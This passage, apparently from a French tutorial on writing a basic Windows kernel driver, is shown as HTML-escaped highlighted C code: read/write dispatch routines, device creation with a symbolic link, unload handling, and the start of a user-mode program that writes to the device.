&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;PIO_STACK_LOCATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IrpSp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetCurrentIrpStackLocation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Read Function called&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Asking reading %d bytes&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IrpSp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Sending &lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;Salut les t4pz !&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s"&gt; to reader&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Salut les t4pz !&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mini&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IrpSp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 17 = strlen(data)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mini&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Information&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mini&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//on rattrape l&amp;#39;erreur pour pas se prendre un BSOD dans la face&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;OMGWTFBBQ is that shit ?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;WriteFunction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDEVICE_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PIRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Write Function called&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Got data from SystemBuffer: %s &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AssociatedIrp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SystemBuffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//on rattrape l&amp;#39;erreur pour pas se prendre un BSOD dans la face&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;OMGWTFBBQ is that shit ?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;VOID&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;DriverUnload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDRIVER_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DriverUnload() !&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IoDeleteDevice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mydevice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// destruction du device sinon on est bon pour rebooter&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;
&lt;span class="n"&gt;STDCALL&lt;/span&gt;
&lt;span class="n"&gt;DriverEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDRIVER_OBJECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PUNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntStatus&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;driverName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Device&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;T4pZ&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;symlinkName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;DosDevices&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;T4pZ&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unicodeSymlink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DriverEntry() !&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MajorFunction&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IRP_MJ_CREATE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverDispatch&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;//on fait rien à l&amp;#39;ouverture et à la fermeture du &amp;quot;fichier&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MajorFunction&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IRP_MJ_CLOSE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverDispatch&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MajorFunction&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IRP_MJ_READ&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ReadFunction&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MajorFunction&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IRP_MJ_WRITE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WriteFunction&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;DriverUnload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverUnload&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;driverName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlInitUnicodeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeSymlink&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;symlinkName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ntStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoCreateDevice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DriverObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;FILE_DEVICE_UNKNOWN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mydevice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;mydevice&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DO_BUFFERED_IO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NT_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ntStatus&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;IoCreateSymbolicLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeSymlink&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;unicodeDriverName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;The userland code&lt;/h2&gt;
&lt;p&gt;Maintenant, compilez et lancez le driver, puis créez un exécutable classique contenant ce code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hDevice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;T4pZ&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;GENERIC_WRITE&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;GENERIC_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;OPEN_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;FILE_ATTRIBUTE_NORMAL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;written&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;WriteFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hDevice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;THE GAME&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;written&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
